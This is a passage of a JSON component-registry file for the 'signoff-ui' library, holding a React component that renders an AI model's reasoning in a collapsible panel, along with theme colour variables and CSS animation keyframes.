      "content": "'use client';\n\nimport * as Collapsible from '@radix-ui/react-collapsible';\nimport { useState, type ComponentPropsWithoutRef } from 'react';\nimport { useActivityWindow } from './lib/hooks';\nimport { reasoningLabels, formatLabels, type SignoffLabelsInput } from './lib/labels';\nimport { useLabels } from './labels';\nimport { ChevronIcon, SparkIcon } from './lib/icons';\nimport { cn } from './lib/utils';\nimport { CustomMarkdown, useMarkdownRenderer, type BuiltInMarkdown, type MarkdownRenderer } from './markdown-renderer';\n\n/** The labels' sections this module reads. */\nconst LABELS = { reasoning: reasoningLabels, format: formatLabels };\n\nexport interface ReasoningProps extends Omit<ComponentPropsWithoutRef<'div'>, 'children'> {\n  text: string;\n  /** The model is still reasoning. The panel opens while streaming and closes when done. */\n  streaming?: boolean;\n  /** Known reasoning duration in ms. Measured client-side when omitted. */\n  durationMs?: number | undefined;\n  defaultOpen?: boolean;\n  open?: boolean | undefined;\n  onOpenChange?: ((open: boolean) => void) | undefined;\n  /** Where images in the reasoning may load from: host names, `'self'` or `'*'`. See `MarkdownProps.allowedImageHosts`. */\n  allowedImageHosts?: readonly string[] | undefined;\n  /**\n   * Renders the reasoning's text instead of the built-in `Markdown`, as `AgentMessage`'s\n   * `renderMarkdown` does. Overrides `MarkdownRendererProvider`.\n   */\n  renderMarkdown?: MarkdownRenderer | undefined;\n  /** Words to use instead of the English defaults: see `SignoffLabelsProvider`. */\n  labels?: SignoffLabelsInput | undefined;\n}\n\n/** `Reasoning`, with the renderer it falls back to: `Markdown`, or plain text in `signoff-ui/custom-markdown`. */\nexport function ReasoningBase({\n  builtInMarkdown: BuiltIn,\n  text,\n  streaming = false,\n  durationMs,\n  defaultOpen,\n  open: openProp,\n  onOpenChange,\n  allowedImageHosts,\n  renderMarkdown,\n  labels,\n  className,\n  ...props\n}: ReasoningProps & { builtInMarkdown: BuiltInMarkdown }) {\n  const L = useLabels(LABELS, labels);\n  const renderer = useMarkdownRenderer(renderMarkdown);\n  const [openState, setOpenState] = useState(defaultOpen ?? streaming);\n  const [touched, setTouched] = useState(false);\n  const [prevStreaming, setPrevStreaming] = useState(streaming);\n  // Follow the stream (adjusting state during render, not in an effect).\n  if (prevStreaming !== streaming) {\n    setPrevStreaming(streaming);\n    if (!touched) setOpenState(streaming);\n  }\n  const open = openProp ?? openState;\n  const activity = useActivityWindow(streaming);\n  const measured =\n    activity.startedAt !== undefined && activity.endedAt !== undefined\n      ? activity.endedAt - activity.startedAt\n      : undefined;\n  const duration = durationMs ?? measured;\n  const label = streaming\n    ? L.reasoning.thinking\n    : duration !== undefined\n      ? L.reasoning.thoughtFor(L.format.duration(duration))\n      : L.reasoning.reasoning;\n\n  return (\n    <Collapsible.Root\n      data-signoff\n      data-slot=\"signoff-reasoning\"\n      data-streaming={streaming || undefined}\n      open={open}\n      onOpenChange={(next) => {\n        setTouched(true);\n        if (openProp === undefined) setOpenState(next);\n        onOpenChange?.(next);\n      }}\n      className={cn('font-signoff-sans', className)}\n      {...props}\n    >\n      <Collapsible.Trigger className=\"group/trigger text-signoff-fg-muted hover:text-signoff-fg focus-visible:outline-signoff-ring inline-flex cursor-pointer items-center gap-1.5 rounded-md py-1 pr-1.5 text-[13px] transition-colors focus-visible:outline-2 focus-visible:outline-offset-2\">\n        <SparkIcon size={14} className={cn('text-signoff-accent', streaming && 'motion-safe:animate-pulse')} />\n        <span\n          className={cn(\n            'font-medium',\n            streaming &&\n              'motion-safe:animate-signoff-shimmer motion-safe:bg-[linear-gradient(90deg,var(--signoff-fg-muted)_0%,var(--signoff-fg-muted)_40%,var(--signoff-accent-fg)_50%,var(--signoff-fg-muted)_60%,var(--signoff-fg-muted)_100%)] motion-safe:bg-[length:200%_100%] motion-safe:bg-clip-text motion-safe:text-transparent',\n          )}\n        >\n          {label}\n        </span>\n        <ChevronIcon\n          size={13}\n          className=\"transition-transform duration-200 group-data-[state=open]/trigger:rotate-90 motion-reduce:transition-none\"\n        />\n      </Collapsible.Trigger>\n      <Collapsible.Content className=\"data-[state=closed]:motion-safe:animate-signoff-collapse data-[state=open]:motion-safe:animate-signoff-expand overflow-hidden\">\n        <div className=\"border-signoff-border-strong mt-1.5 mb-1 border-l-2 py-0.5 pl-3.5\">\n          {renderer ? (\n            <CustomMarkdown\n              render={renderer}\n              streaming={streaming}\n              citations={0}\n              citationPrefix=\"source\"\n              allowedImageHosts={allowedImageHosts}\n              className=\"text-signoff-fg-muted text-[13px] leading-relaxed\"\n            >\n              {text}\n            </CustomMarkdown>\n          ) : (\n            <BuiltIn\n              streaming={streaming}\n              allowedImageHosts={allowedImageHosts}\n              labels={labels}\n              className=\"text-signoff-fg-muted text-[13px] leading-relaxed\"\n            >\n              {text}\n            </BuiltIn>\n          )}\n        </div>\n      </Collapsible.Content>\n    </Collapsible.Root>\n  );\n}\n",
      "type": "registry:component",
      "target": "components/signoff-ui/reasoning-base.tsx"
    }
  ],
  "cssVars": {
    "theme": {
      "color-signoff-bg": "var(--signoff-bg)",
      "color-signoff-surface": "var(--signoff-surface)",
      "color-signoff-surface-2": "var(--signoff-surface-2)",
      "color-signoff-border": "var(--signoff-border)",
      "color-signoff-border-strong": "var(--signoff-border-strong)",
      "color-signoff-fg": "var(--signoff-fg)",
      "color-signoff-fg-muted": "var(--signoff-fg-muted)",
      "color-signoff-fg-subtle": "var(--signoff-fg-subtle)",
      "color-signoff-accent": "var(--signoff-accent)",
      "color-signoff-accent-fg": "var(--signoff-accent-fg)",
      "color-signoff-on-accent": "var(--signoff-on-accent)",
      "color-signoff-hot": "var(--signoff-hot)",
      "color-signoff-hot-fg": "var(--signoff-hot-fg)",
      "color-signoff-on-hot": "var(--signoff-on-hot)",
      "color-signoff-warn": "var(--signoff-warn)",
      "color-signoff-warn-fg": "var(--signoff-warn-fg)",
      "color-signoff-ring": "var(--signoff-ring)",
      "color-signoff-add": "var(--signoff-add-bg)",
      "color-signoff-add-strong": "var(--signoff-add-strong)",
      "color-signoff-del": "var(--signoff-del-bg)",
      "color-signoff-del-strong": "var(--signoff-del-strong)",
      "color-signoff-chart-input": "var(--signoff-chart-input)",
      "color-signoff-chart-output": "var(--signoff-chart-output)",
      "color-signoff-code-keyword": "var(--signoff-code-keyword)",
      "color-signoff-code-string": "var(--signoff-code-string)",
      "color-signoff-code-number": "var(--signoff-code-number)",
      "color-signoff-code-comment": "var(--signoff-code-comment)",
      "color-signoff-code-punctuation": "var(--signoff-code-punctuation)",
      "radius-signoff": "var(--signoff-radius)",
      "font-signoff-sans": "var(--signoff-font-sans)",
      "font-signoff-mono": "var(--signoff-font-mono)",
      "animate-signoff-shimmer": "signoff-shimmer 2.2s linear infinite",
      "animate-signoff-ping": "signoff-ping 1.6s cubic-bezier(0, 0, 0.2, 1) infinite",
      "animate-signoff-spin": "signoff-spin 0.9s linear infinite",
      "animate-signoff-blink": "signoff-blink 1.1s steps(2, start) infinite",
      "animate-signoff-enter": "signoff-enter 0.32s cubic-bezier(0.2, 0.7, 0.2, 1) backwards",
      "animate-signoff-indeterminate": "signoff-indeterminate 1.4s ease-in-out infinite",
      "animate-signoff-expand": "signoff-expand 0.22s cubic-bezier(0.2, 0.7, 0.2, 1)",
      "animate-signoff-collapse": "signoff-collapse 0.18s ease-in"
    },
    "light": {
      "signoff-bg": "#ffffff",
      "signoff-surface": "#f6f7f9",
      "signoff-surface-2": "#eef0f3",
      "signoff-border": "#e2e5ea",
      "signoff-border-strong": "#cdd2d9",
      "signoff-fg": "#0d0f12",
      "signoff-fg-muted": "#4b5563",
      "signoff-fg-subtle": "#5f6875",
      "signoff-accent": "#0e7490",
      "signoff-accent-fg": "#155e75",
      "signoff-on-accent": "#ffffff",
      "signoff-hot": "#be185d",
      "signoff-hot-fg": "#9d174d",
      "signoff-on-hot": "#ffffff",
      "signoff-warn": "#b45309",
      "signoff-warn-fg": "#92400e",
      "signoff-ring": "#0e7490",
      "signoff-add-bg": "rgb(8 145 178 / 0.08)",
      "signoff-add-strong": "rgb(8 145 178 / 0.16)",
      "signoff-del-bg": "rgb(190 24 93 / 0.07)",
      "signoff-del-strong": "rgb(190 24 93 / 0.14)",
      "signoff-chart-input": "#0891b2",
      "signoff-chart-output": "#db2777",
      "signoff-code-keyword": "#155e75",
      "signoff-code-string": "#9a3412",
      "signoff-code-number": "#9d174d",
      "signoff-code-comment": "#525b67",
      "signoff-code-punctuation": "#4b5563",
      "signoff-radius": "0.75rem",
      "signoff-font-sans": "var(--font-sans, var(--font-geist-sans, ui-sans-serif, system-ui, sans-serif))",
      "signoff-font-mono": "var(--font-mono, var(--font-geist-mono, ui-monospace, SFMono-Regular, 'SF Mono', Menlo, Consolas, monospace))"
    },
    "dark": {
      "signoff-bg": "#0d0f12",
      "signoff-surface": "#181c22",
      "signoff-surface-2": "#1e232a",
      "signoff-border": "#262b33",
      "signoff-border-strong": "#353c47",
      "signoff-fg": "#e8eaed",
      "signoff-fg-muted": "#a1a9b4",
      "signoff-fg-subtle": "#8b94a0",
      "signoff-accent": "#22d3ee",
      "signoff-accent-fg": "#67e8f9",
      "signoff-on-accent": "#0d0f12",
      "signoff-hot": "#f0468a",
      "signoff-hot-fg": "#f472a8",
      "signoff-on-hot": "#0d0f12",
      "signoff-warn": "#fbbf24",
      "signoff-warn-fg": "#fcd34d",
      "signoff-ring": "#67e8f9",
      "signoff-add-bg": "rgb(34 211 238 / 0.08)",
      "signoff-add-strong": "rgb(34 211 238 / 0.14)",
      "signoff-del-bg": "rgb(240 70 138 / 0.08)",
      "signoff-del-strong": "rgb(240 70 138 / 0.26)",
      "signoff-chart-input": "#11a2bc",
      "signoff-chart-output": "#f0468a",
      "signoff-code-keyword": "#67e8f9",
      "signoff-code-string": "#f5c27a",
      "signoff-code-number": "#f9a8d4",
      "signoff-code-comment": "#a1a9b4",
      "signoff-code-punctuation": "#a1a9b4"
    }
  },
  "css": {
    "@keyframes signoff-shimmer": {
      "from": {
        "background-position": "200% 0"
      },
      "to": {
        "background-position": "-200% 0"
      }
    },
    "@keyframes signoff-ping": {
      "0%": {
        "transform": "scale(1)",
        "opacity": "0.7"
      },
      "80%, 100%": {
        "transform": "scale(2.2)",
        "opacity": "0"
      }
    },
    "@keyframes signoff-spin": {
      "to": {
        "transform": "rotate(360deg)"
      }
    },
    "@keyframes signoff-blink": {
      "to": {
        "visibility": "hidden"
      }
    },
    "@keyframes signoff-enter": {
      "from": {
        "opacity": "0",
        "transform": "translateY(4px)"
      },
      "to": {
        "opacity": "1",
        "transform": "none"
      }
    },
    "@keyframes signoff-expand": {
      "from": {
        "height": "0",
        "opacity": "0"
      },
      "to": {
        "height": "var(--radix-collapsible-content-height)",
        "opacity": "1"
      }
    },
    "@keyframes signoff-collapse": {
      "from": {
        "height": "var(--radix-collapsible-content-height)",
        "opacity": "1"
      },
      "to": {
        "height": "0",
        "opacity": "0"
      }
    },
    "@keyframes signoff-indeterminate": {
      "0%": {
        "transform": "translateX(-100%)"
      },
      "100%": {
        "transform": "translateX(250%)"
      }
    }
  },
  "type": "registry:component",
  "meta": {
    "version": "0.14.1",
    "unreleasedChanges": false
  }
}
